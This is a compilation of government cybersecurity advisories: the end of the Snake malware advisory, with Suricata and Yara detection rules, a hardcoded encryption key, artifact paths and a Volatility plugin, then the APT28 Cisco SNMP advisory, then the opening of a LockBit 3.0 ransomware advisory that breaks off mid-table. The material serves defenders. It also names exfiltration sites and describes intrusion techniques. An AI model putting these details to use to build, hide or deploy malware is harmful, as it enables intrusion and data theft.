flow: established, to_server;\ sid: 7; rev: 1;) alert http any any -> any any (msg: "http rule (Other Header)";\ pcre:"/[0-9A-Za-z]{10}[0-9A-Za-z\/\+]{11}=/H";\ flow: established, to_server;\ sid: 8; rev: 1;) Snake http2 The header field value for http2 begins with 22 pure alphanumeric characters (base62 with non-extraneous characters), followed by the base62 encoding of at least 8 bytes, which must comprise at least 11 base62 characters with the four extraneous characters allowed. The actual requirement is stricter than this expression, since the total number of non-extraneous characters alone must equal or exceed 11; however, it is not possible to encode that aspect into a regular language. ^[0-9A-Za-z]{22}[0-9A-Za-z/;_=]{11}The following two Suricata rules will detect the traffic described: alert http any any -> any any (msg: "http2 rule (Cookie)";\ pcre:"/[0-9A-Za-z]{22}[0-9A-Za-z\/_=\;]{11}/C";\ flow: established, to_server;\ sid: 9; rev: 1;) alert http any any -> any any (msg: "http2 rule (Other Header)";\ pcre:"/[0-9A-Za-z]{22}[0-9A-Za-z\/_=\;]{11}/H";\ flow: established, to_server;\ sid: 10; rev: 1;) Snake tcp The client-to-server communication for tcp must begin with the ustart, which is not captured in this signature set. Immediately following the ustart, the next client-to-server communication must be the big-endian 32-bit unsigned integer 8 followed by any 8 bytes of data. The next communication must also be client-to-server, and it must comprise the big-endian 32-bit unsigned integer 4 followed by any 4 bytes of data. The next two communications must be server-to-client, comprising the integer 8 followed by 8 bytes of data and the integer 4 followed by 4 bytes of data. The following six Suricata rules will, in conjunction, detect traffic of the form described: alert tcp any any -> any any (msg: "tcp rule";\ content: "|00 00 00 08|"; startswith; dsize: 12;\ flow: established, to_server; flowbits: set, a8; flowbits: noalert;\ sid: 1; rev: 1;) alert tcp any any -> any any (msg: "tcp rule";\ content: "|00 00 00 04|"; startswith; dsize:8;\ flow: established, to_server; flowbits: isset, a8; flowbits: unset, a8;\ flowbits: set, a4; flowbits: noalert;\ sid: 2; rev: 1;) alert tcp any any -> any any (msg: "tcp rule";\ content: "|00 00 00 08|"; startswith; dsize: 4;\ flow: established, to_client; flowbits: isset, a4; flowbits: unset, a4;\ flowbits: set, b81; flowbits: noalert;\ sid: 3; rev: 1;) alert tcp any any -> any any (msg: "tcp rule";\ dsize: 8; flow: established, to_client; flowbits: isset, b81;\ flowbits: unset, b81; flowbits: set, b8; flowbits: noalert;\ sid: 4; rev: 1;) alert tcp any any -> any any (msg: "tcp rule";\ content: "|00 00 00 04|"; startswith; dsize: 4;\ flow: established, to_client; flowbits: isset, b8; flowbits: unset, b8;\ flowbits: set, b41; flowbits: noalert;\ sid: 5; rev: 1;) alert tcp any any -> any any (msg: "tcp rule";\ dsize: 4; flow: established, to_client; flowbits: isset, b41;\ flowbits: unset, b41;\ sid: 6; rev: 1;)Host-Based Detection Advantages: High confidence based on totality of positive hits for host-based artifacts. Disadvantages: Many of the artifacts on the host are easily shifted to exist in a different location or with a different name. As the files are fully encrypted, accurately identifying these files is difficult. Covert Store Detection The Snake covert store comprises a file-backed NTFS (usually) or FAT-16 (rarely) filesystem. The filesystem is encrypted with CAST-128 in CBC mode. The encryption key can be either statically hardcoded or dynamically stored in a specified Windows registry location. The IV is 8 bytes, since CAST-128 has an 8-byte block length. The first byte of the IV for any 512-byte block of the covert store is the 0-indexed block number. The remaining bytes of the IV are the corresponding bytes of the key, meaning that bytes at 0-indexed indices 1 through 7 of the IV are the bytes at 0-indexed indices 1 through 7 of the key. When statically hardcoded, the encryption key has the following constant value: ​​​​​​ A1 D2 10 B7 60 5E DA 0F A1 65 AF EF 79 C3 66 FAWhen stored in the Windows registry, the encryption key is the classname associated with the following key: SECURITY\Policy\Secrets\nThe following initial 8-byte sequences are known to be used by NTFS or FAT-16 filesystems as observed: EB 52 90 4E 54 46 53 20 EB 5B 90 4E 54 46 53 20 EB 3C 90 4D 53 44 4F 53 EB 00 00 00 00 00 00 00 For tool development, the following test vector illustrates the encryption of the first given header above (EB 52 90 …) using CAST-128 with the default key shown above and the IV constructed as described, given this header occurs at the beginning of the first 512-byte block of the covert store.       Plaintext:      EB 52 90 4E 54 46 53 20       Key:              A1 D2 10 B7 60 5E DA 0F A1 65 AF EF 79 C3 66 FA       IV:                 00 D2 10 B7 60 5E DA 0F      Ciphertext:   C2 C7 F4 CA F7 DA 3A C8 By encrypting each possible initial filesystem byte sequence with CAST-128 using the key obtained from the registry—or the default encryption key if the registry entry does not exist—and searching for any file with a size that is an even multiple of 220, it is possible to efficiently detect Snake covert stores. Validation can be performed by decrypting the entire file using the outlined methodology and then verifying that it comprises an NTFS or FAT-16 filesystem. Other On-Disk Artifact Detection Registry Blob The registry blob is generally found at the location listed below. In case it is not present at its typical location, the registry blob can be found by searching the full registry for a value of at least 0x1000 bytes in size and entropy of at least 7.9.       Typical Name: Unknown (RegBlob)       Typical Path: HKLM\SOFTWARE\Classes\.wav\OpenWithProgIds       Characteristics: High Entropy Queue File       Typical Name: < RANDOM_GUID >..crmlog      Typical Path: %windows\registration\      Unique Characteristics: High Entropy, file attributes of hidden, system, and archive      Role: Snake Queue File The Snake Queue File generally has a predictable path and filename structure, in addition to being high entropy. The Snake Queue File can be located by scanning all files in the typical queue path with filenames matching a regular expression that captures the typical naming convention. Files meeting these criteria should be scanned for high entropy, which is performed by the Yara rule below: rule HighEntropy { meta: description = "entropy rule" condition: math.entropy(0, filesize) >= 7.0 } The following UNIX find command will scan files with names matching the GUID-based convention (note that the HighEntropy yara rule is assumed to be contained in a file named “1.yar”): find /PATH/TO/WINDOWS_DIR -type f -regextype posix-egrep -iregex \ '.*\/registration/(\{[0-9A-F]{8}\-([0-9A-F]{4}\-){3}[0-9A-F]{12}\}\.){2}crmlog' \ -exec yara 1.yar {} \; The following PowerShell command does the same: Get-ChildItem -Recurse -File -Path %WINDOWS% | Where-Object { $_.FullName -match '(?i)/registration/(\{[0-9A-F]{8}\-([0-9A-F]{4}\-){3}[0-9A-F]{12}\}\.){2}crmlog$' } | ForEach-Object { yara 1.yar $_.FullName } Comadmin       Typical Name: comadmin.dat      Typical Path: %windows%\system32\Com      Unique Characteristics: High Entropy      Role: Houses Snake’s kernel driver and the driver’s loader The Snake Comadmin file can be found using analogous techniques to that presented above for locating the Snake Queue File. The following UNIX find command will do so: find /PATH/TO/WINDOWS -type f -regextype posix-egrep -iregex \ '.*\/system32/Com/comadmin\.dat' \ -exec yara 1.yar {} \; The following PowerShell command does the same: Get-ChildItem -Recurse -File -Path %WINDOWS% | Where-Object { $_.FullName -match '(?i)/system32/Com/comadmin\.dat$' } | ForEach-Object { yara 1.yar $_.FullName } Werfault Typical Name: Werfault.exeTypical Path: %windows%\WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a0502\Unique Characteristics: Icon is different than that of a valid Windows Werfault.exe fileRole: Persistence mechanism The Snake Werfault.exe file has non-standard icon sizes, which form the basis of the Yara rule below. This rule should be run on all files in the typical path, specifically the %Windows%\WinSxS directory. rule PeIconSizes { meta: description = "werfault rule" condition: pe.is_pe and for any rsrc in pe.resources: (rsrc.type == pe.RESOURCE_TYPE_ICON and rsrc.length == 3240) and for any rsrc in pe.resources: (rsrc.type == pe.RESOURCE_TYPE_ICON and rsrc.length == 1384) and for any rsrc in pe.resources: (rsrc.type == pe.RESOURCE_TYPE_ICON and rsrc.length == 7336) } Memory Analysis Advantages: High confidence as memory provides the greatest level of visibility into Snake’s behaviors and artifacts. Disadvantages: Potential impact on system stability, difficult scalability. Capturing and analyzing the memory of a system will be the most effective approach in detecting Snake because it bypasses many of the behaviors that Snake employs to hide itself. With a memory analysis tool, such as Volatility, detection of a Snake compromise may be possible. Snake’s principal user mode component is injected into a chosen process via a single allocation of PAGE_EXECUTE_READWRITE memory. The starting offset is generally 0x20000000, however the module does allow for relocation if needed. Additionally, since the user mode component is not obfuscated in any way, a valid PE header can be located at the beginning of the allocated memory region. Further validation can be performed by confirming the presence of strings known to exist in the user mode component also within the memory region. A plugin compatible with Volatility3 which can scan all processes on a system using this method is provided in the Appendix. A screenshot showing the results of the plugin successfully detecting Snake is displayed below. PREVENTION Note that the mitigations that follow are not meant to protect against the initial access vector and are only designed to prevent Snake’s persistence and hiding techniques. Change Credentials and Apply Updates System owners who are believed to be compromised by Snake are advised to change their credentials immediately (from a non-compromised system) and to not use any type of passwords similar to those used before. Snake employs a keylogger functionality that routinely returns logs back to FSB operators. Changing passwords and usernames to values which cannot be brute forced or guessed based on old passwords is recommended. System owners are advised to apply updates to their Operating Systems. Modern versions of Windows, Linux, and MacOS make it much harder for adversaries to operate in the kernel space. This will make it much harder for FSB actors to load Snake’s kernel driver on the target system. Execute Organizational Incident Response Plan If system owners receive detection signatures of Snake implant activity or have other indicators of compromise that are associated with FSB actors using Snake, the impacted organization should immediately initiate their documented incident response plan. We recommend implementing the following Cross-Sector Cybersecurity Performance Goals (CPGs) to help defend against FSB actors using Snake, or mitigate negative impacts post-compromise: CPG 2.A: Changing Default Passwords will prevent FSB actors from compromising default credentials to gain initial access or move laterally within a network. CPG 2.B: Requiring Minimum Password Strength across an organization will prevent FSB actors from being able to successfully conduct password spraying or cracking operations.  CPG 2.C: Requiring Unique Credentials will prevent FSB actors from compromising valid accounts through password spraying or brute force.  CPG 2.E Separating User and Privileged Accounts will make it harder for FSB actors to gain access to administrator credentials. CPG 2.F. Network Segmentation to deny all connections by default unless explicitly required for specific system functionality, and ensure all incoming communication is going through a properly configured firewall. CPG 2.H Implementing Phishing Resistant MFA adds an additional layer of security even when account credentials are compromised and can mitigate a variety of attacks towards valid accounts, to include brute forcing passwords and exploiting external remote services software. CPG 4.C. Deploy Security.txt Files to ensure all public facing web domains have a security.txt file that conforms to the recommendations in RFC 9118. APPENDIX Partnership This advisory was developed as a joint effort by an international partnership of multiple agencies in furtherance of the respective cybersecurity missions of each of the partner agencies, including our responsibilities to develop and issue cybersecurity specifications and mitigations. This partnership includes the following organizations: Federal Bureau of Investigation National Security Agency Cybersecurity and Infrastructure Security Agency Cyber National Mission Force The United Kingdom’s National Cyber Security Centre Canadian Centre for Cyber Security Communications Security Establishment Australian Cyber Security Centre New Zealand National Cyber Security Centre Collectively, we use a variety of sources, methods, and partnerships to acquire information about foreign cyber threats. This advisory contains the information we have concluded can be publicly released, consistent with the protection of sources and methods and the public interest. Disclaimer The information in this report is being provided “as is” for informational purposes only. We do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-authors.  MITRE ATT&CK Techniques This advisory uses the MITRE ATT&CK® for Enterprise framework, version 13. See MITRE ATT&CK for Enterprise for all referenced tactics and techniques. MITRE and ATT&CK are registered trademarks of The MITRE Corporation. This report references the following MITRE ATT&CK techniques. Technique Title ID Use Network Connection Enumeration T0840 Adversaries may perform network connection enumeration to discover information about device communication patterns. Data Obfuscation T1001 Adversaries may obfuscate command and control traffic to make it more difficult to detect. Protocol Impersonation T1001.003 Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. OS Credential Dumping T1003 Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Rootkit T1014 Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Obfuscated Files or Information T1027 Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. Software Packing T1027.002 Adversaries may perform software packing or virtual machine software protection to conceal their code. Masquerading T1036 Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Network Sniffing T1040 Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network Service Discovery T1046 Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Dynamic-link Library Injection T1055.001 Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. Keylogging T1056.001 Adversaries may log user keystrokes to intercept credentials as the user types them. PowerShell T1059.001 Adversaries may abuse PowerShell commands and scripts for execution. Application Layer Protocol T1071 Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Web Protocols T1071.001 Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Mail Protocols T1071.003 Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. DNS T1071.004 Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Data Staged T1074 Adversaries may stage collected data in a central location or directory prior to Exfiltration. Valid Accounts T1078 Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. File and Directory Discovery T1083 Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Multi-hop Proxy T1090.003 To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Non-Application Layer Protocol T1095 Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. Multi-Stage Channels T1104 Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Native API T1106 Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Modify Registry T1112 Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution. Automated Collection T1119 Once established within a system or network, an adversary may use automated techniques for collecting internal data. Data Encoding T1132 Adversaries may encode data to make the content of command and control traffic more difficult to detect. Non-Standard Encoding T1132.002 Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Network Share Discovery T1135 Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Deobfuscate/Decode Files or Information T1140 Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. Exploit Public-Facing Application T1190 Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. Domain Trust Discovery T1482 Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Installer Packages T1546.016 Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Dynamic Linker Hijacking T1547.006 Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. Inter-Process Communication T1559 Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. Archive Collected Data T1560.003 An adversary may compress and/or encrypt data that is collected prior to exfiltration. Hide Artifacts T1564 Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Service Execution T1569.002 Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. Lateral Tool Transfer T1570 Adversaries may transfer tools or other files between systems in a compromised environment. Protocol Tunneling T1572 Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Encrypted Channel T1573 Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric Cryptography T1573.001 Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric Cryptography T1573.002 Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. DLL Side-Loading T1574.002 Adversaries may execute their own malicious payloads by side-loading DLLs. Compromise Infrastructure T1584 Adversaries may compromise third-party infrastructure that can be used during targeting. Malware T1587.001 Adversaries may develop malware and malware components that can be used during targeting. Obtain Capabilities T1588 Adversaries may buy and/or steal capabilities that can be used during targeting. Stage Capabilities T1608 Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. Deploy Container T1610 Adversaries may deploy a container into an environment to facilitate execution or evade defenses. Volatility Plugin The following plugin for the Volatility memory analysis framework will scan all processes on the system until it finds the Snake user mode component injected into a process. If found, the plugin will list both the injected process and the virtual memory address at which the Snake user mode component is loaded. # This plugin to identify the injected usermode component of Snake is based # on the malfind plugin released with Volatility3 # # This file is Copyright 2019 Volatility Foundation and licensed under the # Volatility Software License 1.0 # which is available at https://www.volatilityfoundation.org/license/vsl-v1.0 import logging from typing import Iterable, Tuple from volatility3.framework import interfaces, symbols, exceptions, renderers from volatility3.framework.configuration import requirements from volatility3.framework.objects import utility from volatility3.framework.renderers import format_hints from volatility3.plugins.windows import pslist, vadinfo vollog = logging.getLogger(__name__) class snake(interfaces.plugins.PluginInterface): _required_framework_version = (2, 4, 0) @classmethod def get_requirements(cls): return [ requirements.ModuleRequirement(name = 'kernel', description = 'Windows kernel', architectures = ["Intel32", "Intel64"]), requirements.VersionRequirement(name = 'pslist', component = pslist.PsList, version = (2, 0, 0)), requirements.VersionRequirement(name = 'vadinfo', component = vadinfo.VadInfo, version = (2, 0, 0))] @classmethod def list_injections( cls, context: interfaces.context.ContextInterface, kernel_layer_name: str, symbol_table: str, proc: interfaces.objects.ObjectInterface) -> Iterable[ Tuple[interfaces.objects.ObjectInterface, bytes]]: proc_id = "Unknown" try: proc_id = proc.UniqueProcessId proc_layer_name = proc.add_process_layer() except exceptions.InvalidAddressException as excp: vollog.debug("Process {}: invalid address {} in layer {}". format(proc_id, excp.invalid_address, excp.layer_name)) return proc_layer = context.layers[proc_layer_name] for vad in proc.get_vad_root().traverse(): protection_string = vad.get_protection(vadinfo.VadInfo. protect_values(context, kernel_layer_name, symbol_table), vadinfo.winnt_protections) if not "PAGE_EXECUTE_READWRITE" in protection_string: continue if (vad.get_private_memory() == 1 and vad.get_tag() == "VadS") or (vad.get_private_memory() == 0 and protection_string != "PAGE_EXECUTE_WRITECOPY"): data = proc_layer.read(vad.get_start(), vad.get_size(), pad = True) if data.find(b'\x4d\x5a') != 0: continue yield vad, data def _generator(self, procs): kernel = self.context.modules[self.config['kernel']] is_32bit_arch = not symbols.symbol_table_is_64bit(self.context, kernel.symbol_table_name) for proc in procs: process_name = utility.array_to_string(proc.ImageFileName) for vad, data in self.list_injections(self.context, kernel.layer_name, kernel.symbol_table_name, proc): strings_to_find = [b'\x25\x73\x23\x31',b'\x25\x73\x23\x32', b'\x25\x73\x23\x33',b'\x25\x73\x23\x34', b'\x2e\x74\x6d\x70', b'\x2e\x73\x61\x76', b'\x2e\x75\x70\x64'] if not all(stringToFind in data for stringToFind in strings_to_find): continue yield (0, (proc.UniqueProcessId, process_name, format_hints.Hex(vad.get_start()), format_hints.Hex(vad.get_size()), vad.get_protection( vadinfo.VadInfo.protect_values(self.context, kernel.layer_name, kernel.symbol_table_name), vadinfo.winnt_protections))) return def run(self): kernel = self.context.modules[self.config['kernel']] return renderers.TreeGrid([("PID", int), ("Process", str), ("Address", format_hints.Hex), ("Length", format_hints.Hex), ("Protection", str)], self._generator(pslist.PsList.list_processes( context = self.context, layer_name = kernel.layer_name, symbol_table = kernel.symbol_table_name)))   

APT28 accesses poorly maintained Cisco routers and deploys malware on unpatched devices using CVE-2017-6742. Overview and Context The UK National Cyber Security Centre (NCSC), the US National Security Agency (NSA), US Cybersecurity and Infrastructure Security Agency (CISA) and US Federal Bureau of Investigation (FBI) are releasing this joint advisory to provide details of tactics, techniques and procedures (TTPs) associated with APT28’s exploitation of Cisco routers in 2021. We assess that APT28 is almost certainly the Russian General Staff Main Intelligence Directorate (GRU) 85th special Service Centre (GTsSS) Military Intelligence Unit 26165. APT28 (also known as Fancy Bear, STRONTIUM, Pawn Storm, the Sednit Gang and Sofacy) is a highly skilled threat actor. Download the UK PDF version of this report: APT28 exploits known vulnerability to carry out reconnaissance and deploy malware on Cisco routers (PDF, 366.88 KB ) Download the US PDF version of this report: APT28 Exploits Known Vulnerability to Carry Out Reconnaissance and Deploy Malware on Cisco Routers (PDF, 366.25 KB ) Previous Activity The NCSC has previously attributed the following activity to APT28: Cyber attacks against the German parliament in 2015, including data theft and disrupting email accounts of German Members of Parliament (MPs) and the Vice Chancellor Attempted attack against the Organization for the Prohibition of Chemical Weapons (OPCW) in April 2018, to disrupt independent analysis of chemicals weaponized by the GRU in the UK For more information on APT28 activity, see the advisory Russian State-Sponsored and Criminal Cyber Threats to Critical Infrastructure and Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. As of 2021, APT28 has been observed using commercially available code repositories, and post-exploit frameworks such as Empire. This included the use of PowerShell Empire, in addition to Python versions of Empire. Reconnaissance Use of SNMP Protocol to Access Routers In 2021, APT28 used infrastructure to masquerade Simple Network Management protocol (SNMP) access into Cisco routers worldwide. This included a small number based in Europe, US government institutions and approximately 250 Ukrainian victims. SNMP is designed to allow network administrators to monitor and configure network devices remotely, but it can also be misused to obtain sensitive network information and, if vulnerable, exploit devices to penetrate a network. A number of software tools can scan the entire network using SNMP, meaning that poor configuration such as using default or easy-to-guess community strings, can make a network susceptible to attacks. Weak SNMP community strings, including the default "public," allowed APT28 to gain access to router information. APT28 sent additional SNMP commands to enumerate router interfaces. [T1078.001] The compromized routers were configured to accept SNMP v2 requests. SNMP v2 doesn’t support encryption and so all data, including community strings, is sent unencrypted. Exploitation of CVE-2017-6742 APT28 exploited the vulnerability CVE-2017-6742 (Cisco Bug ID: CSCve54313) [T1190]. This vulnerability was first announced by Cisco on 29 June 2017, and patched software was made available.  Cisco's published advisory provided workarounds, such as limiting access to SNMP from trusted hosts only, or by disabling a number of SNMP Management Information bases (MIBs). Malware Deployment For some of the targeted devices, APT28 actors used an SNMP exploit to deploy malware, as detailed in the NCSC’s Jaguar Tooth Malware Analysis Report. This malware obtained further device information, which is exfiltrated over trivial file transfer protocol (TFTP), and enabled unauthenticated access via a backdoor. The actor obtained this device information by executing a number of Command Line Interface (CLI) commands via the malware. It includes discovery of other devices on the network by querying the Address Resolution Protocol (ARP) table to obtain MAC addresses. [T1590] Indicators of Compromise (IoCs) Please refer to the accompanying Malware Analysis Report for indicators of compromise which may help to detect this activity. MITRE ATT&CK® This advisory has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. For detailed TTPs, see the Malware Analysis Report. Tactic ID Technique Procedure Initial Access T1190 Exploit Public-facing Application. APT28 exploited default/well-known community strings in SNMP as outlined in CVE-2017-6742 (Cisco Bug ID: CSCve54313). Initial Access T1078.001 Valid Accounts: Default Accounts. Actors accessed victim routers by using default community strings such as “public.” Reconnaissance T1590 Gather Victim Network Information Access was gained to perform reconnaissance on victim devices. Further detail of how this was achieved in available in the MITRE ATT&CK section of the Jaguar Tooth MAR. Conclusion APT28 has been known to access vulnerable routers by using default and weak SNMP community strings, and by exploiting CVE-2017-6742 (Cisco Bug ID: CSCve54313) as published by Cisco. TTPs in this advisory may still be used against vulnerable Cisco devices. Organizations are advised to follow the mitigation advice in this advisory to defend against this activity. Reporting UK organizations should report any suspected compromises to the NCSC. US organisations should contact CISA’s 24/7 Operations Centre at report@cisa.gov or (888) 282-0870. Mitigation Mitigation Patch devices as advised by Cisco. The NCSC also has general guidance on managing updates and keeping software up to date. Do not use SNMP if you are not required to configure or manage devices remotely to prevent unauthorized users from accessing your router. If you are required to manage routers remotely, establish allow and deny lists for SNMP messages to prevent unauthorized users from accessing your router. Do not allow unencrypted (i.e., plaintext) management protocols, such as SNMP v2 and Telnet. Where encrypted protocols aren’t possible, you should carry out any management activities from outside the organization through an encrypted virtual private network (VPN), where both ends are mutually authenticated. Enforce a strong password policy. Don’t reuse the same password for multiple devices. Each device should have a unique password. Where possible, avoid legacy password-based authentication and implement two-factor authentication based on public-private key. Disable legacy unencrypted protocols such as Telnet and SNMP v1 or v2c. Where possible, use modern encrypted protocols such as SSH and SNMP v3. Harden the encryption protocols based on current best security practice. The NCSC strongly advises owners and operators to retire and replace legacy devices that can’t be configured to use SNMP v3. Use logging tools to record commands executed on your network devices, such as TACACS+ and Syslog. Use these logs to immediately highlight suspicious events and keep a record of events to support an investigation if the device’s integrity is ever in question. See NCSC guidance on monitoring and logging. If you suspect your router has been compromised: Follow Cisco’s advice for verifying the Cisco IOS image. Revoke all keys associated with that router. When replacing the router configuration be sure to create new keys rather than pasting from the old configuration. Replace both the ROMMON and Cisco IOS image with an image that has been sourced directly from the Cisco website, in case third party and internal repositories have been compromised. NSA’s Network Infrastructure guide provides some best practices for SNMP. See also the Cisco IOS hardening guide and Cisco’s Jaguar Tooth blog. This product is provided subject to this Notification and this Privacy & Use policy.

SUMMARY Note: this joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources. Actions to take today to mitigate cyber threats from ransomware: Prioritize remediating known exploited vulnerabilities. Train users to recognize and report phishing attempts. Enable and enforce phishing- resistant multifactor authentication. The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing & Analysis Center (MS-ISAC) are releasing this joint CSA to disseminate known LockBit 3.0 ransomware IOCs and TTPs identified through FBI investigations as recently as March 2023. The LockBit 3.0 ransomware operations function as a Ransomware-as-a-Service (RaaS) model and is a continuation of previous versions of the ransomware, LockBit 2.0, and LockBit. Since January 2020, LockBit has functioned as an affiliate-based ransomware variant; affiliates deploying the LockBit RaaS use many varying TTPs and attack a wide range of businesses and critical infrastructure organizations, which can make effective computer network defense and mitigation challenging. The FBI, CISA, and the MS-ISAC encourage organizations to implement the recommendations in the mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents. Download the PDF version of this report:  #StopRansomware: Lockbit (PDF, 688.70 KB ) TECHNICAL DETAILS Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 12. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK for Enterprise. CAPABILITIES LockBit 3.0, also known as “LockBit Black,” is more modular and evasive than its previous versions and shares similarities with Blackmatter and Blackcat ransomware. LockBit 3.0 is configured upon compilation with many different options that determine the behavior of the ransomware. Upon the actual execution of the ransomware within a victim environment, various arguments can be supplied to further modify the behavior of the ransomware. For example, LockBit 3.0 accepts additional arguments for specific operations in lateral movement and rebooting into Safe Mode (see LockBit Command Line parameters under Indicators of Compromise). If a LockBit affiliate does not have access to passwordless LockBit 3.0 ransomware, then a password argument is mandatory during the execution of the ransomware. LockBit 3.0 affiliates failing to enter the correct password will be unable to execute the ransomware [T1480.001]. The password is a cryptographic key which decodes the LockBit 3.0 executable. By protecting the code in such a manner, LockBit 3.0 hinders malware detection and analysis with the code being unexecutable and unreadable in its encrypted form. Signature-based detections may fail to detect the LockBit 3.0 executable as the executable’s encrypted potion will vary based on the cryptographic key used for encryption while also generating a unique hash. When provided the correct password, LockBit 3.0 will decrypt the main component, continue to decrypt or decompress its code, and execute the ransomware. LockBit 3.0 will only infect machines that do not have language settings matching a defined exclusion list. However, whether a system language is checked at runtime is determined by a configuration flag originally set at compilation time. Languages on the exclusion list include, but are not limited to, Romanian (Moldova), Arabic (Syria), and Tatar (Russia). If a language from the exclusion list is detected [T1614.001], LockBit 3.0 will stop execution without infecting the system. INITIAL ACCESS Affiliates deploying LockBit 3.0 ransomware gain initial access to victim networks via remote desktop protocol (RDP) exploitation [T1133], drive-by compromise [T1189], phishing campaigns [T1566], abuse of valid accounts [T1078], and exploitation of public-facing applications [T1190]. EXECUTION AND INFECTION PROCESS During the malware routine, if privileges are not sufficient, LockBit 3.0 attempts to escalate to the required privileges [TA0004]. LockBit 3.0 performs functions such as: Enumerating system information such as hostname, host configuration, domain information, local drive configuration, remote shares, and mounted external storage devices [T1082] Terminating processes and services [T1489] Launching commands [TA0002] Enabling automatic logon for persistence and privilege escalation [T1547] Deleting log files, files in the recycle bin folder, and shadow copies residing on disk [T1485], [T1490] LockBit 3.0 attempts to spread across a victim network by using a preconfigured list of credentials hardcoded at compilation time or a compromised local account with elevated privileges [T1078]. When compiled, LockBit 3.0 may also enable options for spreading via Group Policy Objects and PsExec using the Server Message Block (SMB) protocol. LockBit 3.0 attempts to encrypt [T1486] data saved to any local or remote device, but skips files associated with core system functions. After files are encrypted, LockBit 3.0 drops a ransom note with the new filename .README.txt and changes the host’s wallpaper and icons to LockBit 3.0 branding [T1491.001]. If needed, LockBit 3.0 will send encrypted host and bot information to a command and control (C2) server [T1027]. Once completed, LockBit 3.0 may delete itself from the disk [T1070.004] as well as any Group Policy updates that were made, depending on which options were set at compilation time. EXFILTRATION LockBit 3.0 affiliates use Stealbit, a custom exfiltration tool used previously with LockBit 2.0 [TA0010]; rclone, an open-source command line cloud storage manager [T1567.002]; and publicly available file sharing services, such as MEGA [T1567.002], to exfiltrate sensitive company data files prior to encryption. While rclone and many publicly available file sharing services are primarily used for legitimate purposes, they can also be used by threat actors to aid in system compromise, network exploration, or data exfiltration. LockBit 3.0 affiliates often use other publicly available file sharing services to exfiltrate data as well [T1567] (see Table 1). Table 1: Anonymous File Sharing Sites Used to Exfiltrate Data Before System Encryption File Sharing Site https://www.premiumize[.]com https://anonfiles[.]com https://www.sendspace[.]com https://fex[.]net https://transfer[.]sh https://send.exploit[.]in LEVERAGING FREEWARE AND OPEN-SOURCE TOOLS LockBit affiliates have been observed using various freeware and open-source tools during their intrusions. These tools are used for a range of activities such as network reconnaissance, remote access and tunneling, credential dumping, and file exfiltration. Use of PowerShell and Batch scripts are observed across most intrusions, which focus on system discovery, reconnaissance, password/credential hunting, and privilege escalation. Artifacts of professional penetration-testing tools such as Metasploit and Cobalt Strike have also been observed. See Table 2 for a list of legitimate freeware and open-source tools LockBit affiliates have repurposed for ransomware operations: Table 2: Freeware and Open-Source Tools Used by LockBit 3.0 Affiliates Tool Description MITRE ATT&CK ID Chocolatey Command-line package manager for Windows. T1072 FileZilla Cross-platform File 